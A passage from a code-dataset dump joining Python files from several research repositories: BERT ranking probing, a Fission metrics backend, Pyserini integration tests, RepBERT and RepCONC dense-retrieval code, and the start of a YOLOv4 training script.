list(range(mid_sep_index+1, len(input_tokens)-1)) np.random.shuffle(all_idxes) return all_idxes[:10] elif load_key == "periods_in_passage": # period para_tokens = input_tokens[mid_sep_index+1:] period_idxes = get_period_idxes(para_tokens) period_idxes = [idx+mid_sep_index+1 for idx in period_idxes] assert all(input_tokens[idx]=="." for idx in period_idxes) return period_idxes elif load_key == "stopwords_in_passage": para_tokens = input_tokens[mid_sep_index+1:] stopword_idxes = [idx+mid_sep_index+1 for idx, token in enumerate(para_tokens) if token in stop_words_set ] np.random.shuffle(stopword_idxes) stopword_idxes = stopword_idxes[:15] return stopword_idxes elif load_key == "query_tokens_in_passage": query_tokens_set = set(input_tokens[1:mid_sep_index]) - stop_words_set para_tokens = input_tokens[mid_sep_index+1:] query_item_idxes = [idx+mid_sep_index+1 for idx, token in enumerate(para_tokens) if token in query_tokens_set ] return query_item_idxes[:20] else: raise NotImplementedError() def load_stopwords(idf_path): idf_raw_dict = json.load(open(idf_path)) for k in idf_raw_dict.keys(): if is_punctuation(k) or is_num(k): idf_raw_dict[k] = 0 wordlst = list(idf_raw_dict.items()) wordlst = sorted(wordlst, key=lambda x:x[1])[::-1] stop_words_set = set(x[0] for x in wordlst[1:51]) # ALL_DOC_NUM is not a token return stop_words_set def evaluate(args, model, tokenizer, prefix=""): if not os.path.exists(args.output_dir): os.makedirs(args.output_dir) for key in args.keys: key_dir = f"{args.output_dir}/{key}" for layer_idx in range(model.config.num_hidden_layers+1): layer_dir = f"{key_dir}/{layer_idx}" if not os.path.exists(layer_dir): os.makedirs(layer_dir) stop_words_set = load_stopwords(args.idf_path) eval_dataset = TopNDataset(args.rank_file, tokenizer, args.mode, args.msmarco_dir, args.collection_memmap_dir, args.tokenize_dir, args.max_query_length, args.max_seq_length) args.eval_batch_size = args.per_gpu_eval_batch_size * max(1, args.n_gpu) # Note that DistributedSampler samples randomly eval_dataloader = DataLoader(eval_dataset, batch_size=args.eval_batch_size, collate_fn=get_collate_function()) # multi-gpu eval if args.n_gpu > 1: model = torch.nn.DataParallel(model) # Eval! print("***** Running evaluation {} *****".format(prefix)) print(" Num examples = %d", len(eval_dataset)) print(" Batch size = %d", args.eval_batch_size) for batch, qids, pids in tqdm(eval_dataloader): model.eval() batch = {k:v.to(args.device) for k, v in batch.items()} with torch.no_grad(): all_layers_hidden_states = model(**batch)[1] all_layers_hidden_states = [h.detach().cpu().numpy() for h in all_layers_hidden_states] save_to_disk(tokenizer, stop_words_set, all_layers_hidden_states, args, qids, pids, batch) def save_to_disk(tokenizer, stop_words_set, all_layers_hidden_states, args, qids, pids, batch): for idx, (qid, pid, input_ids, token_type_ids, attention_mask) in enumerate(zip( qids, pids, batch['input_ids'].cpu().numpy(), batch['token_type_ids'], batch['attention_mask'] )): input_length = torch.sum(attention_mask).item() input_ids = input_ids[:input_length].tolist() token_type_ids = token_type_ids[:input_length] mid_sep_idx = torch.sum(token_type_ids==0).item()-1 assert input_ids[mid_sep_idx] == tokenizer.sep_token_id assert input_ids[-1] == tokenizer.sep_token_id assert input_ids[0] == tokenizer.cls_token_id input_tokens = tokenizer.convert_ids_to_tokens(input_ids) for key in args.keys: idxes = get_indexes(stop_words_set, tokenizer, input_tokens, mid_sep_idx, key) for layer_idx, all_hidden_states in enumerate(all_layers_hidden_states): save_hidden_states = all_hidden_states[idx][idxes].astype(np.float16) save_path = f"{args.output_dir}/{key}/{layer_idx}/{qid}-{pid}.npy" np.save(save_path, save_hidden_states) def main(): parser = argparse.ArgumentParser() ## Required parameters parser.add_argument("--keys", type=str, nargs="+", default=[ "cls", "seps", "periods_in_passage", "all_query_tokens", "rand_passage_tokens", "stopwords_in_passage", "query_tokens_in_passage"]) parser.add_argument("--rank_file", type=str, required=True) parser.add_argument("--mode", type=str, choices=["train", "dev.small"], required=True) parser.add_argument("--idf_path", type=str, default="./data/wordpiece.df.json") parser.add_argument("--output_root", type=str, default="./data/probing/embed") parser.add_argument("--msmarco_dir", type=str, default="./data/msmarco-passage") parser.add_argument("--collection_memmap_dir", type=str, default="./data/collection_memmap") parser.add_argument("--tokenize_dir", type=str, default="./data/tokenize") parser.add_argument("--max_query_length", type=int, default=64) parser.add_argument("--max_seq_length", type=int, default=256) parser.add_argument("--model_path", type=str, default="./data/BERT_Base_trained_on_MSMARCO") ## Other parameters parser.add_argument("--gpu", default=None, type=str, required=False) parser.add_argument("--per_gpu_eval_batch_size", default=8, type=int, help="Batch size per GPU/CPU for evaluation.") parser.add_argument("--no_cuda", action='store_true', help="Avoid using CUDA when available") parser.add_argument('--seed', type=int, default=42, help="random seed for initialization") args = parser.parse_args() args.output_dir = f"{args.output_root}/{args.mode}" if args.gpu: os.environ["CUDA_VISIBLE_DEVICES"] = args.gpu # Setup CUDA, GPU device = torch.device("cuda" if torch.cuda.is_available() and not args.no_cuda else "cpu") args.n_gpu = torch.cuda.device_count() args.device = device # Setup logging print("Device: %s, n_gpu: %s", device, args.n_gpu) config = BertConfig.from_pretrained(f"{args.model_path}/bert_config.json") config.output_hidden_states = True model = MonoBERT.from_pretrained(f"{args.model_path}/model.ckpt-100000", from_tf=True, config=config) tokenizer = BertTokenizer.from_pretrained(args.model_path) model.to(args.device) print("Training/evaluation parameters %s", args) # Evaluation evaluate(args, model, tokenizer) if __name__ == "__main__": main() ``` #### File: jingtaozhan/bert-ranking-analysis/utils.py ```python import os import re import random import subprocess import unicodedata from collections import defaultdict def is_num(s): return all('0'<=c<='9' for c in s) def is_punctuation(s): def _is_char_punctuation(char): """Checks whether `chars` is a punctuation character.""" cp = ord(char) # We treat all non-letter/number ASCII as punctuation. # Characters such as "^", "$", and "`" are not in the Unicode # Punctuation class but we treat them as punctuation anyways, for # consistency. if ((cp >= 33 and cp <= 47) or (cp >= 58 and cp <= 64) or (cp >= 91 and cp <= 96) or (cp >= 123 and cp <= 126)): return True cat = unicodedata.category(char) if cat.startswith("P"): return True return False return all(_is_char_punctuation(c) for c in s) def get_period_idxes(tokens): period_idxes = [idx for idx, token in enumerate(tokens) if token =="." and ( idx==0 or not is_num(tokens[idx-1]) or idx==len(tokens)-1 or not is_num(tokens[idx+1])) ] return period_idxes def generate_rank(input_path, output_path): score_dict = defaultdict(list) for line in open(input_path): query_id, para_id, score = line.split("\t") score_dict[int(query_id)].append((float(score), int(para_id))) with open(output_path, "w") as outFile: for query_id, para_lst in score_dict.items(): random.shuffle(para_lst) para_lst = sorted(para_lst, key=lambda x:x[0], reverse=True) for rank_idx, (score, para_id) in enumerate(para_lst): outFile.write("{}\t{}\t{}\n".format(query_id, para_id, rank_idx+1)) def eval_results(run_file_path, eval_script="./ms_marco_eval.py", qrels="./data/msmarco-passage/qrels.dev.small.tsv" ): assert os.path.exists(eval_script) and os.path.exists(qrels) result = subprocess.check_output(['python', eval_script, qrels, run_file_path]) match = re.search('MRR @10: ([\d.]+)', result.decode('utf-8')) mrr = float(match.group(1)) return mrr ```
{ "source": "jingtaozhang18/fission", "score": 2 }
#### File: data-flow-visualization/app-backend/server.py ```python import json import os import time import requests from flask import Flask, request from gevent.pywsgi import WSGIServer PROMETHEUS_SERVER = "http://{}/api/v1/query".format(os.environ.get("PROMETHEUS_SERVER_URL", "fission-prometheus-server.fission")) class FuncApp(Flask): def __init__(self, name): super(FuncApp, self).__init__(name) @self.route('/fission-build-in-funcs/fission-data-flow', methods=['POST']) def load(): params = request.json default_params = { "query": "sum(rate(fission_flow_recorder_by_router[{}])) by (source, destination, stype, dtype, method, code) * 60".format(params.get("step", "5m")), "time": int(time.time()) } default_params.update(params) self.logger.info("router: " + json.dumps(default_params)) resp_router = requests.get(PROMETHEUS_SERVER, params=default_params) resp_router = json.loads(resp_router.text) default_params = { "query": "sum(rate(fission_flow_recorder_by_env_total[{}])) by (source, destination, stype, dtype, method, code) * 60".format( params.get("step", "5m")), "time": int(time.time()) } default_params.update(params) self.logger.info("env: " + json.dumps(default_params)) resp_env = requests.get(PROMETHEUS_SERVER, params=default_params) resp_env = json.loads(resp_env.text) result = { "status_router": "success", "status_env": "success", "result": [] } if resp_router.get("status", "fail") == "success": result['result'] = result['result'] + (resp_router.get("data", {}).get("result", [])) else: result['status_router'] = "fail" if resp_env.get("status", "fail") == "success": result['result'] = result['result'] + (resp_env.get("data", {}).get("result", [])) else: result['status_router'] = "fail" return json.dumps(result) app = FuncApp(__name__) app.logger.info("Starting gevent based server") svc = WSGIServer(('0.0.0.0', 8888), app) svc.serve_forever() ```
{ "source": "jingtaozhan/pyserini", "score": 2 }
#### File: integrations/sparse/test_simplesearcher_multithread.py ```python import unittest from integrations.run_simplesearcher import RunSimpleSearcher class TestSearchIntegration(unittest.TestCase): def setUp(self): self.test_threads = ['--threads 1 --batch-size 64', '--threads 4 --batch-size 64'] def check_equal(self, runner: RunSimpleSearcher, runtag: str, extras: str) -> bool: checksums = [] for i, config in enumerate(self.test_threads): checksum = runner.run(runtag=f'{runtag}-{i}', extras=f'{config} {extras}') if len(checksum) == 0: print(f'[FAIL] {runtag} {config} failed to run!') return False checksums.append(checksum) equal = all(x == checksums[0] for x in checksums) if equal: print(f'[SUCCESS] {runtag} results match!') else: print(f'[FAIL] {runtag} results do not match!') return equal def test_robust04(self): checker = RunSimpleSearcher( index='robust04', topics='robust04') self.assertTrue(self.check_equal(checker, 'robust04', extras='')) def test_msmarco_passage(self): checker = RunSimpleSearcher( index='msmarco-passage', topics='msmarco-passage-dev-subset') self.assertTrue(self.check_equal(checker, 'msmarco_passage', extras='--output-format msmarco')) def test_msmarco_passage_docTTTTTquery(self): checker = RunSimpleSearcher( index='msmarco-passage-expanded', topics='msmarco-passage-dev-subset') self.assertTrue(self.check_equal(checker, 'msmarco_passage_docTTTTTquery', extras='--output-format msmarco')) def test_msmarco_doc(self): checker = RunSimpleSearcher( index='msmarco-doc', topics='msmarco-doc-dev') self.assertTrue(self.check_equal(checker, 'msmarco_doc', extras='--hits 100 --output-format msmarco')) def test_msmarco_doc_docTTTTTquery(self): checker = RunSimpleSearcher( index='msmarco-doc-expanded-per-doc', topics='msmarco-doc-dev') self.assertTrue(self.check_equal(checker, 'msmarco_doc_docTTTTTquery', extras='--hits 100 --output-format msmarco')) def test_msmarco_doc_per_passage(self): checker = RunSimpleSearcher( index='msmarco-doc-per-passage', topics='msmarco-doc-dev') self.assertTrue(self.check_equal(checker, 'msmarco_doc_per_passage', extras='--hits 1000 --max-passage --max-passage-hits 100 --output-format msmarco')) def test_msmarco_doc_docTTTTTquery_passage(self): checker = RunSimpleSearcher( index='msmarco-doc-expanded-per-passage', topics='msmarco-doc-dev') self.assertTrue(self.check_equal(checker, 'msmarco_doc_docTTTTTquery_passage', extras='--hits 1000 --max-passage --max-passage-hits 100 --output-format msmarco')) def tearDown(self): pass if __name__ == '__main__': unittest.main() ```
{ "source": "jingtaozhan/RepBERT-Index", "score": 2 }
#### File: jingtaozhan/RepBERT-Index/dataset.py ```python import os import math import json import torch import logging import numpy as np from tqdm import tqdm from collections import namedtuple, defaultdict from transformers import BertTokenizer from torch.utils.data import Dataset logger = logging.getLogger(__name__) class CollectionDataset: def __init__(self, collection_memmap_dir): self.pids = np.memmap(f"{collection_memmap_dir}/pids.memmap", dtype='int32',) self.lengths = np.memmap(f"{collection_memmap_dir}/lengths.memmap", dtype='int32',) self.collection_size = len(self.pids) self.token_ids = np.memmap(f"{collection_memmap_dir}/token_ids.memmap", dtype='int32', shape=(self.collection_size, 512)) def __len__(self): return self.collection_size def __getitem__(self, item): assert self.pids[item] == item return self.token_ids[item, :self.lengths[item]].tolist() def load_queries(tokenize_dir, mode): queries = dict() for line in tqdm(open(f"{tokenize_dir}/queries.{mode}.json"), desc="queries"): data = json.loads(line) queries[int(data['id'])] = data['ids'] return queries def load_querydoc_pairs(msmarco_dir, mode): qrels = defaultdict(set) qids, pids, labels = [], [], [] if mode == "train": for line in tqdm(open(f"{msmarco_dir}/qidpidtriples.train.small.tsv"), desc="load train triples"): qid, pos_pid, neg_pid = line.split("\t") qid, pos_pid, neg_pid = int(qid), int(pos_pid), int(neg_pid) qids.append(qid) pids.append(pos_pid) labels.append(1) qids.append(qid) pids.append(neg_pid) labels.append(0) for line in open(f"{msmarco_dir}/qrels.train.tsv"): qid, _, pid, _ = line.split() qrels[int(qid)].add(int(pid)) else: for line in open(f"{msmarco_dir}/top1000.{mode}"): qid, pid, _, _ = line.split("\t") qids.append(int(qid)) pids.append(int(pid)) qrels = dict(qrels) if not mode == "train": labels, qrels = None, None return qids, pids, labels, qrels class MSMARCODataset(Dataset): def __init__(self, mode, msmarco_dir, collection_memmap_dir, tokenize_dir, max_query_length=20, max_doc_length=256): self.collection = CollectionDataset(collection_memmap_dir) self.queries = load_queries(tokenize_dir, mode) self.qids, self.pids, self.labels, self.qrels = load_querydoc_pairs(msmarco_dir, mode) self.mode = mode tokenizer = BertTokenizer.from_pretrained("bert-base-uncased") self.cls_id = tokenizer.cls_token_id self.sep_id = tokenizer.sep_token_id self.max_query_length = max_query_length self.max_doc_length = max_doc_length def __len__(self): return len(self.qids) def __getitem__(self, item): qid, pid = self.qids[item], self.pids[item] query_input_ids, doc_input_ids = self.queries[qid], self.collection[pid] query_input_ids = query_input_ids[:self.max_query_length] query_input_ids = [self.cls_id] + query_input_ids + [self.sep_id] doc_input_ids = doc_input_ids[:self.max_doc_length] doc_input_ids = [self.cls_id] + doc_input_ids + [self.sep_id] ret_val = { "query_input_ids": query_input_ids, "doc_input_ids": doc_input_ids, "qid": qid, "docid" : pid } if self.mode == "train": ret_val["rel_docs"] = self.qrels[qid] return ret_val def pack_tensor_2D(lstlst, default, dtype, length=None): batch_size = len(lstlst) length = length if length is not None else max(len(l) for l in lstlst) tensor = default * torch.ones((batch_size, length), dtype=dtype) for i, l in enumerate(lstlst): tensor[i, :len(l)] = torch.tensor(l, dtype=dtype) return tensor def get_collate_function(mode): def collate_function(batch): input_ids_lst = [x["query_input_ids"] + x["doc_input_ids"] for x in batch] token_type_ids_lst = [[0]*len(x["query_input_ids"]) + [1]*len(x["doc_input_ids"]) for x in batch] valid_mask_lst = [[1]*len(input_ids) for input_ids in input_ids_lst] position_ids_lst = [list(range(len(x["query_input_ids"]))) + list(range(len(x["doc_input_ids"]))) for x in batch] data = { "input_ids": pack_tensor_2D(input_ids_lst, default=0, dtype=torch.int64), "token_type_ids": pack_tensor_2D(token_type_ids_lst, default=0, dtype=torch.int64), "valid_mask": pack_tensor_2D(valid_mask_lst, default=0, dtype=torch.int64), "position_ids": pack_tensor_2D(position_ids_lst, default=0, dtype=torch.int64), } qid_lst = [x['qid'] for x in batch] docid_lst = [x['docid'] for x in batch] if mode == "train": labels = [[j for j in range(len(docid_lst)) if docid_lst[j] in x['rel_docs'] ]for x in batch] data['labels'] = pack_tensor_2D(labels, default=-1, dtype=torch.int64, length=len(batch)) return data, qid_lst, docid_lst return collate_function def _test_dataset(): dataset = MSMARCODataset(mode="train") for data in dataset: tokens = dataset.tokenizer.convert_ids_to_tokens(data["query_input_ids"]) print(tokens) tokens = dataset.tokenizer.convert_ids_to_tokens(data["doc_input_ids"]) print(tokens) print(data['qid'], data['docid'], data['rel_docs']) print() k = input() if k == "q": break def _test_collate_func(): from torch.utils.data import DataLoader, SequentialSampler eval_dataset = MSMARCODataset(mode="train") train_sampler = SequentialSampler(eval_dataset) collate_fn = get_collate_function(mode="train") dataloader = DataLoader(eval_dataset, batch_size=26, num_workers=4, collate_fn=collate_fn, sampler=train_sampler) tokenizer = eval_dataset.tokenizer for batch, qidlst, pidlst in tqdm(dataloader): pass ''' print(batch['input_ids']) print(batch['token_type_ids']) print(batch['valid_mask']) print(batch['position_ids']) print(batch['labels']) k = input() if k == "q": break ''' if __name__ == "__main__": _test_collate_func() ```
{ "source": "jingtaozhan/RepCONC", "score": 2 }
#### File: examples/ance/modeling_ance.py ```python import os import torch from typing import List, Tuple from torch import nn from transformers import AutoTokenizer, RobertaModel, RobertaConfig, RobertaTokenizerFast from transformers.models.roberta.modeling_roberta import RobertaPreTrainedModel from repconc.models.repconc import RepCONC class ANCEEncoder(RobertaPreTrainedModel): def __init__(self, config: RobertaConfig): RobertaPreTrainedModel.__init__(self, config) self.roberta = RobertaModel(config, add_pooling_layer=False) self.embeddingHead = nn.Linear(config.hidden_size, config.hidden_size) self.norm = nn.LayerNorm(config.hidden_size) self.config.pooling = "cls" self.config.similarity_metric = "METRIC_IP" def forward(self, input_ids, attention_mask, return_dict=False): outputs = self.roberta(input_ids, attention_mask, return_dict=True) text_embeds = self.norm(self.embeddingHead(outputs.last_hidden_state[:, 0])) if return_dict: outputs.embedding = text_embeds return outputs else: return text_embeds @property def language_model(self): return self.roberta def ance_repconc_from_pretrained(load_dir, use_constraint, sk_epsilon, sk_iters): dense_encoder = ANCEEncoder.from_pretrained(os.path.join(load_dir, 'dense_encoder')) repconc = RepCONC( dense_encoder.config, dense_encoder, use_constraint=use_constraint, sk_epsilon=sk_epsilon, sk_iters=sk_iters) repconc.load_state_dict(torch.load(os.path.join(load_dir, "pytorch_model.bin"), map_location="cpu")) return repconc class ANCETokenizerFast(RobertaTokenizerFast): ''' ANCE lowers text before tokenization ''' def __call__(self, text, *args, **kwargs): assert isinstance(text, List) or isinstance(text, Tuple), \ f"ANCETokenizer only supports List[str] inputs. Current Input is {text}" text = [t.lower() for t in text] return super().__call__(text, *args, **kwargs) if __name__ == "__main__": print(AutoTokenizer.from_pretrained("castorini/ance-msmarco-passage")) print("Test tokenizer") tokenizer = ANCETokenizerFast.from_pretrained("castorini/ance-msmarco-passage") print(tokenizer) text_lst = ["I am ANCE tokenizer"] print(tokenizer(text_lst)) print(tokenizer([t.lower() for t in text_lst])) ``` #### File: examples/tct-colbert/modeling_tct.py ```python import os import torch from typing import List, Tuple from torch import nn from transformers import BertConfig, BertModel, BertPreTrainedModel, BertTokenizerFast, AutoTokenizer from repconc.models.repconc import RepCONC class TCTEncoder(BertPreTrainedModel): def __init__(self, config: BertConfig): BertPreTrainedModel.__init__(self, config) self.bert = BertModel(config, add_pooling_layer=False) self.config.pooling = "mean" self.config.similarity_metric = "METRIC_IP" def forward(self, input_ids, attention_mask, return_dict=False): outputs = self.bert(input_ids, attention_mask, return_dict=True) token_embeds = outputs.last_hidden_state[:, 4:, :] input_mask_expanded = attention_mask[:, 4:].unsqueeze(-1).expand(token_embeds.size()).float() text_embeds = torch.sum(token_embeds * input_mask_expanded, 1) / torch.clamp(input_mask_expanded.sum(1), min=1e-9) if return_dict: outputs.embedding = text_embeds return outputs else: return text_embeds @property def language_model(self): return self.bert def tct_repconc_from_pretrained(load_dir, use_constraint, sk_epsilon, sk_iters): dense_encoder = TCTEncoder.from_pretrained(os.path.join(load_dir, 'dense_encoder')) repconc = RepCONC( dense_encoder.config, dense_encoder, use_constraint=use_constraint, sk_epsilon=sk_epsilon, sk_iters=sk_iters) repconc.load_state_dict(torch.load(os.path.join(load_dir, "pytorch_model.bin"), map_location="cpu")) return repconc class TCTTokenizerFast(BertTokenizerFast): ''' ANCE lowers text before tokenization ''' def __call__(self, text, input_text_type, max_length=None, add_special_tokens=False, **kwargs): # TCT does not add special tokens and expands queries to a fixed length if input_text_type == "query": max_length = 36 text = ['[CLS] [Q] ' + query + '[MASK]' * 36 for query in text ] elif input_text_type == "doc": text = ['[CLS] [D] ' + doc for doc in text ] else: raise NotImplementedError() return super().__call__(text, max_length=max_length, add_special_tokens=False, **kwargs) if __name__ == "__main__": print(AutoTokenizer.from_pretrained("castorini/tct_colbert-v2-hnp-msmarco")) print("Test tokenizer") import inspect for tokenizer_class in [AutoTokenizer, TCTTokenizerFast]: tokenizer = tokenizer_class.from_pretrained("castorini/tct_colbert-v2-hnp-msmarco") print(tokenizer.__class__, tokenizer) text_lst = ["I am TCT tokenizer"] input_text_type = {"input_text_type": "doc"} if "input_text_type" in inspect.getfullargspec(tokenizer.__call__)[0] else {} print(tokenizer.convert_ids_to_tokens(tokenizer( text_lst, add_special_tokens=True, max_length=36, truncation=True, **input_text_type)['input_ids'][0])) input_text_type = {"input_text_type": "query"} if "input_text_type" in inspect.getfullargspec(tokenizer.__call__)[0] else {} print(tokenizer.convert_ids_to_tokens(tokenizer(text_lst, add_special_tokens=True, max_length=36, truncation=True, **input_text_type)['input_ids'][0])) ``` #### File: examples/tct-colbert/run_tct_warmup.py ```python import os import faiss import logging import numpy as np from transformers import ( HfArgumentParser, set_seed, ) from repconc.models.repconc import RepCONC from repconc.train.run_warmup import ( DataArguments, ModelArguments, warmup_from_embeds ) from modeling_tct import TCTEncoder, TCTTokenizerFast logger = logging.getLogger(__name__) def main(): parser = HfArgumentParser((ModelArguments, DataArguments)) model_args, data_args = parser.parse_args_into_dataclasses() # Setup logging logging.basicConfig( format="%(asctime)s-%(levelname)s-%(name)s- %(message)s", datefmt="%m/%d/%Y %H:%M:%S", level=logging.INFO ) model_args: ModelArguments data_args: DataArguments logger.info("Model parameters %s", model_args) logger.info("Data parameters %s", data_args) # Set seed before initializing model. set_seed(2022) ### Only here is modified tokenizer = TCTTokenizerFast.from_pretrained( model_args.model_name_or_path, ) dense_encoder = TCTEncoder.from_pretrained(model_args.model_name_or_path) config = dense_encoder.config config.MCQ_M = model_args.MCQ_M config.MCQ_K = model_args.MCQ_K ### repconc = RepCONC( config, dense_encoder, use_constraint=False, sk_epsilon=None, sk_iters=None) corpus_embeds = np.load(data_args.input_corpus_embed_path) repconc, index = warmup_from_embeds( corpus_embeds, repconc, ) os.makedirs(data_args.output_model_dir, exist_ok=True) repconc.save_pretrained(data_args.output_model_dir) tokenizer.save_pretrained(data_args.output_model_dir) os.makedirs(os.path.dirname(data_args.output_index_path), exist_ok=True) os.makedirs(os.path.dirname(data_args.output_corpus_ids_path), exist_ok=True) faiss.write_index(faiss.downcast_index(index.index), data_args.output_index_path) corpus_ids = np.load(data_args.input_corpus_ids_path) np.save(data_args.output_corpus_ids_path, corpus_ids) def _mp_fn(index): # For xla_spawn (TPUs) main() if __name__ == "__main__": main() ``` #### File: repconc/evaluate/run_repconc_eval.py ```python import os import faiss import json import torch import logging import numpy as np import transformers from transformers import ( AutoTokenizer, AutoConfig, HfArgumentParser, set_seed) from transformers.trainer_utils import is_main_process from repconc.models.repconc import RepCONC from repconc.models.repconc.evaluate_repconc import ( load_index_to_gpu, from_pq_to_ivfpq, ModelArguments, EvalArguments, encode_corpus, encode_query, batch_search, ) from repconc.utils.eval_utils import ( pytrec_evaluate, load_corpus, load_queries, DataArguments, load_beir_corpus, load_beir_qrels, load_beir_queries, ) logger = logging.getLogger(__name__) def load_or_encode_corpus(model_args: ModelArguments, data_args: DataArguments, eval_args: EvalArguments): out_index_path = os.path.join(data_args.out_corpus_dir, "index") out_corpus_ids_path = os.path.join(data_args.out_corpus_dir, "corpus_ids.npy") if os.path.exists(out_index_path) and os.path.exists(out_corpus_ids_path): index = faiss.read_index(out_index_path) corpus_ids = np.load(out_corpus_ids_path) logger.info("Load pre-computed corpus representations") else: doc_tokenizer = AutoTokenizer.from_pretrained(model_args.doc_encoder_path) doc_encoder = RepCONC.from_pretrained(model_args.doc_encoder_path, False, None, None) if data_args.data_format == "msmarco": corpus = load_corpus(data_args.corpus_path, doc_tokenizer.sep_token, verbose=is_main_process(eval_args.local_rank)) elif data_args.data_format == "beir": corpus = load_beir_corpus(data_args.corpus_path, doc_tokenizer.sep_token, verbose=is_main_process(eval_args.local_rank)) else: raise NotImplementedError() index, corpus_ids = encode_corpus(corpus, doc_encoder, doc_tokenizer, model_args.max_seq_length, eval_args) if is_main_process(eval_args.local_rank): os.makedirs(data_args.out_corpus_dir, exist_ok=True) faiss.write_index(index, out_index_path) np.save(out_corpus_ids_path, corpus_ids) return index, corpus_ids def load_or_encode_queries(model_args: ModelArguments, data_args: DataArguments, eval_args: EvalArguments): out_query_code_path = os.path.join(data_args.out_query_dir, "codes.npy") out_query_ids_path = os.path.join(data_args.out_query_dir, "qids.npy") if os.path.exists(out_query_code_path) and os.path.exists(out_query_ids_path): query_embeds = np.load(out_query_code_path) query_ids = np.load(out_query_ids_path) logger.info("Load pre-computed query representations") else: query_tokenizer = AutoTokenizer.from_pretrained(model_args.query_encoder_path) query_encoder = RepCONC.from_pretrained(model_args.query_encoder_path, False, None, None) if data_args.data_format == "msmarco": queries = load_queries(data_args.query_path) elif data_args.data_format == "beir": queries = load_beir_queries(data_args.query_path) else: raise NotImplementedError() query_embeds, query_ids = encode_query(queries, query_encoder, query_tokenizer, model_args.max_seq_length, eval_args) if is_main_process(eval_args.local_rank): os.makedirs(data_args.out_query_dir, exist_ok=True) np.save(out_query_code_path, query_embeds) np.save(out_query_ids_path, query_ids) return query_embeds, query_ids def search_and_compute_metrics(index, corpus_ids, query_embeds, query_ids, data_args: DataArguments, eval_args: EvalArguments): out_metric_path = os.path.join(data_args.out_query_dir, "metric.json") if os.path.exists(out_metric_path): logger.info("Skip search process because metric.json file already exists. ") if not eval_args.cpu_search: index = from_pq_to_ivfpq(index) # only gpuivfpq is supported index = load_index_to_gpu(index) # main process uses the first gpu all_topk_scores, all_topk_ids = batch_search( query_ids, query_embeds, corpus_ids, index, topk=eval_args.topk, batch_size=eval_args.search_batch) out_run_path = os.path.join(data_args.out_query_dir, "run.tsv") with open(out_run_path, 'w') as output: for qid, topk_scores, topk_ids in zip(query_ids, all_topk_scores, all_topk_ids): for i, (score, docid) in enumerate(zip(topk_scores, topk_ids)): output.write(f"{qid.item()}\tQ0\t{docid.item()}\t{i+1}\t{score.item()}\tSystem\n") if data_args.qrel_path is None: return if data_args.data_format == "msmarco": metric_scores = pytrec_evaluate(data_args.qrel_path, out_run_path) elif data_args.data_format == "beir": qrels = load_beir_qrels(data_args.qrel_path) metric_scores = pytrec_evaluate(qrels, out_run_path) else: raise NotImplementedError() for k in metric_scores.keys(): if k != "perquery": logger.info(metric_scores[k]) json.dump(metric_scores, open(out_metric_path, 'w'), indent=1) def replace_pq_centroids(index: faiss.IndexPQ, query_encoder_path: str): query_encoder = RepCONC.from_pretrained(query_encoder_path, False, None, None) centroids = query_encoder.centroids.data.detach().cpu().numpy().ravel() faiss.copy_array_to_vector(centroids, index.pq.centroids) return index def main(): parser = HfArgumentParser((ModelArguments, DataArguments, EvalArguments)) model_args, data_args, eval_args = parser.parse_args_into_dataclasses() model_args: ModelArguments data_args: DataArguments eval_args: EvalArguments logging.basicConfig( format="%(asctime)s - %(levelname)s - %(name)s - %(message)s", datefmt="%m/%d/%Y %H:%M:%S", level=logging.INFO if is_main_process(eval_args.local_rank) else logging.WARN, ) if is_main_process(eval_args.local_rank): transformers.utils.logging.set_verbosity_info() transformers.utils.logging.enable_default_handler() transformers.utils.logging.enable_explicit_format() set_seed(2022) faiss.omp_set_num_threads(eval_args.threads) index, corpus_ids = load_or_encode_corpus(model_args, data_args, eval_args) query_embeds, query_ids = load_or_encode_queries(model_args, data_args, eval_args) index = replace_pq_centroids(index, model_args.query_encoder_path) if is_main_process(eval_args.local_rank): search_and_compute_metrics(index, corpus_ids, query_embeds, query_ids, data_args, eval_args) if __name__ == "__main__": main() ```
{ "source": "jingtianyilong/pytorch-YOLOv4", "score": 2 }
#### File: pytorch-YOLOv4/config/default.py ```python import os from yacs.config import CfgNode as CN _C = CN() _C.use_darknet_cfg = False _C.cfgfile = "experiment/yolov4.cfg" _C.dataset_dir = "/data" _C.SEED = 358 _C.pretrained = 'yolov4.conv.137.pth' _C.keep_checkpoint_max = 10 _C.batch = 64 _C.subdivisions = 16 _C.width = 608 _C.height = 608 _C.channels = 3 _C.momentum = 0.949 _C.decay = 0.0005 _C.angle = 0 _C.saturation = 1.5 _C.exposure = 1.5 _C.hue = .1 _C.learning_rate = 0.00261 _C.burn_in = 1000 _C.cutmix = 0 _C.mosaic = 1 _C.letter_box = 0 _C.jitter = 0.2 _C.classes = 7 _C.track = 0 _C.w = _C.width _C.h = _C.height _C.flip = 1 _C.blur = 0 _C.gaussian = 0 _C.boxes = 60 # box num _C.TRAIN_EPOCHS = 80 _C.train_label = "/data/anyverse_train.txt" _C.val_label = "/data/anyverse_val.txt" _C.TRAIN_OPTIMIZER = 'adam' _C.namesfile = "data/yolo.names" _C.anchors = None _C.checkpoints = 'checkpoints' _C.iou_type = 'iou' # 'giou', 'diou', 'ciou' _C.keep_checkpoint_max = 10 def update_config(cfg, args): cfg.defrost() cfg.merge_from_file(args.config_file) print(args.config_file) if cfg.mosaic and cfg.cutmix: cfg.mixup = 4 elif cfg.cutmix: cfg.mixup = 2 elif cfg.mosaic: cfg.mixup = 3 cfg.freeze() if __name__ == '__main__': import sys with open(sys.argv[1], 'w') as f: print(_C, file=f) ``` #### File: jingtianyilong/pytorch-YOLOv4/train.py ```python import time import random import logging import os, sys, math import argparse import pprint from collections import deque import datetime import pdb import cv2 from tqdm import tqdm import numpy as np import torch import torch.nn as nn from torch.utils.data import DataLoader from torch import optim from torch.nn import functional as F from torch.utils.tensorboard import SummaryWriter from dataset import Yolo_dataset from config import cfg from config import update_config from models import Yolov4 from tool.darknet2pytorch import Darknet from utils.yolo_loss import Yolo_loss, bboxes_iou from utils.utils import init_seed from tool.tv_reference.utils import collate_fn as val_collate from tool.tv_reference.coco_utils import convert_to_coco_api from tool.tv_reference.coco_eval import CocoEvaluator def collate(batch): images = [] bboxes = [] for img, box in batch: images.append([img]) bboxes.append([box]) images = np.concatenate(images, axis=0) images = images.transpose(0, 3, 1, 2) images = torch.from_numpy(images).div(255.0) if len(bboxes) != 0: bboxes = np.concatenate(bboxes, axis=0) bboxes = torch.from_numpy(bboxes) return images, bboxes def train(model, device, config, tb_log_dir, anchors, epochs=5, batch_size=1, save_cp=True, log_step=5, img_scale=0.5): train_dataset = Yolo_dataset(config.train_label, config, train=True) val_dataset = Yolo_dataset(config.val_label, config, train=False) # 